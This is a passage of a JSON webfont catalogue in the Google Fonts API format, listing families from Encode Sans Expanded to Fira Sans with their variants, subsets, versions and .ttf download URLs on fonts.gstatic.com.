Expanded","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mx1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpJGKQNicoAbJlw.ttf","200":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLqCCNIXIwSP0XD.ttf","300":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKOCyNIXIwSP0XD.ttf","regular":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4m_1mF4GcnstG_Jh1QH6ac4hNLeNyeYUqoiIwdAd5Ab.ttf","500":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLWCiNIXIwSP0XD.ttf","600":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpL6DSNIXIwSP0XD.ttf","700":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKeDCNIXIwSP0XD.ttf","800":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKCDyNIXIwSP0XD.ttf","900":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKmDiNIXIwSP0XD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Semi Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT6oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1T19MFtQ9jpVUA.ttf","200":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RZ1eFHbdTgTFmr.ttf","300":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Q91uFHbdTgTFmr.ttf","regular":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT4oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG2yR_sVPRsjp.ttf","500":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Rl1-FHbdTgTFmr.ttf","600":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RJ0OFHbdTgTFmr.ttf","700":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qt0eFHbdTgTFmr.ttf","800":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qx0uFHbdTgTFmr.ttf","900":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1QV0-FHbdTgTFmr.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Semi Expanded","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8xOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM-41KwrlKXeOEA.ttf","200":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM0IUCyDLJX6XCWU.ttf","300":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyYXCyDLJX6XCWU.ttf","regular":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke83OhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TC4o_LyjgOXc.ttf","500":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM34WCyDLJX6XCWU.ttf","600":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM1IRCyDLJX6XCWU.ttf","700":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMzYQCyDLJX6XCWU.ttf","800":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyoTCyDLJX6XCWU.ttf","900":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMw4SCyDLJX6XCWU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Engagement","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/engagement/v10/x3dlckLDZbqa7RUs9MFVXNossybsHQI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Englebert","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/englebert/v8/xn7iYH8w2XGrC8AR4HSxT_fYdN-WZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Enriqueta","variants":["regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/enriqueta/v10/goksH6L7AUFrRvV44HVTS0CjkP1Yog.ttf","500":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVrv2mHmNZEq6TTFw.ttf","600":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVrk26HmNZEq6TTFw.ttf","700":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVr92-HmNZEq6TTFw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Epilogue","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXMDLiDJXVigHPVA.ttf","200":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXsDPiDJXVigHPVA.ttf","300":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXbjPiDJXVigHPVA.ttf","regular":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXMDPiDJXVigHPVA.ttf","500":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXAjPiDJXVigHPVA.ttf","600":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OX7jTiDJXVigHPVA.ttf","700":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OX1zTiDJXVigHPVA.ttf","800":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXsDTiDJXVigHPVA.ttf","900":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXmTTiDJXVigHPVA.ttf","100italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HAKTp_RqATfVHNU.ttf","200italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCKT5_RqATfVHNU.ttf","300italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HBUT5_RqATfVHNU.ttf","italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HAKT5_RqATfVHNU.ttf","500italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HA4T5_RqATfVHNU.ttf","600italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HDUSJ_RqATfVHNU.ttf","700italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HDtSJ_RqATfVHNU.ttf","800italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCKSJ_RqATfVHNU.ttf","900italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCjSJ_RqATfVHNU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Erica One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ericaone/v11/WBLnrEXccV9VGrOKmGD1W0_MJMGxiQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Esteban","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/esteban/v9/r05bGLZE-bdGdN-GdOuD5jokU8E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Euphoria Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/euphoriascript/v9/mFTpWb0X2bLb_cx6To2B8GpKoD5ak_ZT1D8x7Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ewert","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ewert/v8/va9I4kzO2tFODYBvS-J3kbDP.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Exo","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM2CwNsOl4p5Is.ttf","200":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4tM3CwNsOl4p5Is.ttf","300":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4g03CwNsOl4p5Is.ttf","regular":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM3CwNsOl4p5Is.ttf","500":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4mE3CwNsOl4p5Is.ttf","600":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4o0wCwNsOl4p5Is.ttf","700":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4rQwCwNsOl4p5Is.ttf","800":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4tMwCwNsOl4p5Is.ttf","900":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4vowCwNsOl4p5Is.ttf","100italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t040FmPnws9Iu-uA.ttf","200italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0Y0BmPnws9Iu-uA.ttf","300italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0vUBmPnws9Iu-uA.ttf","italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t040BmPnws9Iu-uA.ttf","500italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t00UBmPnws9Iu-uA.ttf","600italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0PUdmPnws9Iu-uA.ttf","700italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0BEdmPnws9Iu-uA.ttf","800italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0Y0dmPnws9Iu-uA.ttf","900italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0SkdmPnws9Iu-uA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Exo 2","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvOcPtq-rpvLpQ.ttf","200":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvKcPtq-rpvLpQ.ttf","300":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8j4PKcPtq-rpvLpQ.ttf","regular":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvKcPtq-rpvLpQ.ttf","500":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jjPKcPtq-rpvLpQ.ttf","600":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jYPWcPtq-rpvLpQ.ttf","700":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jWfWcPtq-rpvLpQ.ttf","800":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvWcPtq-rpvLpQ.ttf","900":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jF_WcPtq-rpvLpQ.ttf","100italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fNC6jJ7bpQBL.ttf","200italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0fdC6jJ7bpQBL.ttf","300italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drEqfdC6jJ7bpQBL.ttf","italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fdC6jJ7bpQBL.ttf","500italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drFGfdC6jJ7bpQBL.ttf","600italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGqetC6jJ7bpQBL.ttf","700italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGTetC6jJ7bpQBL.ttf","800italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0etC6jJ7bpQBL.ttf","900italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drHdetC6jJ7bpQBL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Expletus Sans","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/expletussans/v14/RLp5K5v5_bqufTYdnhFzDj2dRfkSu6EuTHo.ttf","italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpnK5v5_bqufTYdnhFzDj2ddfsYv4MrXHrRDA.ttf","500":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfQ07n6kFUHPIFaU.ttf","500italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgS6oPVFHNBaVImA.ttf","600":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfSE8n6kFUHPIFaU.ttf","600italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgZ60PVFHNBaVImA.ttf","700":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfUU9n6kFUHPIFaU.ttf","700italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgA6wPVFHNBaVImA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fahkwang","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJHmZlRFipxkwjx.ttf","200italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgHFQHC5Tlhjxdw4.ttf","300":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOIjmplRFipxkwjx.ttf","300italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgBVTHC5Tlhjxdw4.ttf","regular":"http://fonts.gstatic.com/s/fahkwang/v4/Noax6Uj3zpmBOgbNpNqPsr1ZPTZ4.ttf","italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa36Uj3zpmBOgbNpOqNuLl7OCZ4ihE.ttf","500":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJ7m5lRFipxkwjx.ttf","500italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgE1SHC5Tlhjxdw4.ttf","600":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJXnJlRFipxkwjx.ttf","600italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgGFVHC5Tlhjxdw4.ttf","700":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOIznZlRFipxkwjx.ttf","700italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgAVUHC5Tlhjxdw4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fanwood Text","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fanwoodtext/v10/3XFtErwl05Ad_vSCF6Fq7xXGRdbY1P1Sbg.ttf","italic":"http://fonts.gstatic.com/s/fanwoodtext/v10/3XFzErwl05Ad_vSCF6Fq7xX2R9zc9vhCblye.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Farro","variants":["300","regular","500","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa3hNJ6-WkJUQUq7.ttf","regular":"http://fonts.gstatic.com/s/farro/v2/i7dEIFl3byGNHZVNHLq2cV5d.ttf","500":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa25NZ6-WkJUQUq7.ttf","700":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa3xM56-WkJUQUq7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Farsan","variants":["regular"],"subsets":["gujarati","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/farsan/v6/VEMwRoJ0vY_zsyz62q-pxDX9rQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fascinate","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fascinate/v9/z7NWdRrufC8XJK0IIEli1LbQRPyNrw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fascinate Inline","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fascinateinline/v10/jVyR7mzzB3zc-jp6QCAu60poNqIy1g3CfRXxWZQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Faster One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fasterone/v12/H4ciBXCHmdfClFb-vWhfyLuShq63czE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fasthand","variants":["regular"],"subsets":["khmer"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fasthand/v11/0yb9GDohyKTYn_ZEESkuYkw2rQg1.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Fauna One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/faunaone/v8/wlpzgwTPBVpjpCuwkuEx2UxLYClOCg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Faustina","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsgoEvGVWWe8tbEg.ttf","500":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlssIEvGVWWe8tbEg.ttf","600":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsXIYvGVWWe8tbEg.ttf","700":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsZYYvGVWWe8tbEg.ttf","italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsLHWl-SWc5LEnoF.ttf","500italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsL1Wl-SWc5LEnoF.ttf","600italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIZXV-SWc5LEnoF.ttf","700italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIgXV-SWc5LEnoF.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Federant","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/federant/v13/2sDdZGNfip_eirT0_U0jRUG0AqUc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Federo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/federo/v12/iJWFBX-cbD_ETsbmjVOe2WTG7Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Felipa","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/felipa/v7/FwZa7-owz1Eu4F_wSNSEwM2zpA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Fenix","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fenix/v8/XoHo2YL_S7-g5ostKzAFvs8o.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Finger Paint","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fingerpaint/v10/0QInMXVJ-o-oRn_7dron8YWO85bS8ANesw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fira Code","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_GNsFVfxN87gsj0.ttf","regular":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sFVfxN87gsj0.ttf","500":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_A9sFVfxN87gsj0.ttf","600":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_ONrFVfxN87gsj0.ttf","700":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_NprFVfxN87gsj0.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Fira Mono","variants":["regular","500","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/firamono/v9/N0bX2SlFPv1weGeLZDtQIfTTkdbJYA.ttf","500":"http://fonts.gstatic.com/s/firamono/v9/N0bS2SlFPv1weGeLZDto1d33mf3VaZBRBQ.ttf","700":"http://fonts.gstatic.com/s/firamono/v9/N0bS2SlFPv1weGeLZDtondv3mf3VaZBRBQ.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Fira Sans","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2019-07-22","files":{"100":"http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5Vn9IjOazP3dUTP.ttf","100italic":"http://fonts.gstatic.com/s/firasans/v10/va9A4kDNxMZdWfMOD5VvkrCqYTfVcFTPj0s.ttf","200":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnWKnuQR37fF3Wlg.ttf","200italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAGQBf_XljGllLX.ttf","300":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnPKruQR37fF3Wlg.ttf","300italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBiQxf_XljGllLX.ttf","regular":"http://fonts.gstatic.com/s/firasans/v10/va9E4kDNxMZdWfMOD5VfkILKSTbndQ.ttf","italic":"http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5VvkojOazP3dUTP.ttf","500":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnZKvuQR37fF3Wlg.ttf","500italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrA6Qhf_XljGllLX.ttf","600":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnSKzuQR37fF3Wlg.ttf","600italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAWRRf_XljGllLX.ttf","700":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnLK3uQR37fF3Wlg.ttf","700italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrByRBf_XljGllLX.ttf","800":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnMK7uQR37fF3Wlg.ttf","800italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBuRxf_XljGllLX.ttf","900":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnFK_uQR37fF3Wlg.ttf","900italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBKRhf_XljGllLX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fira Sans 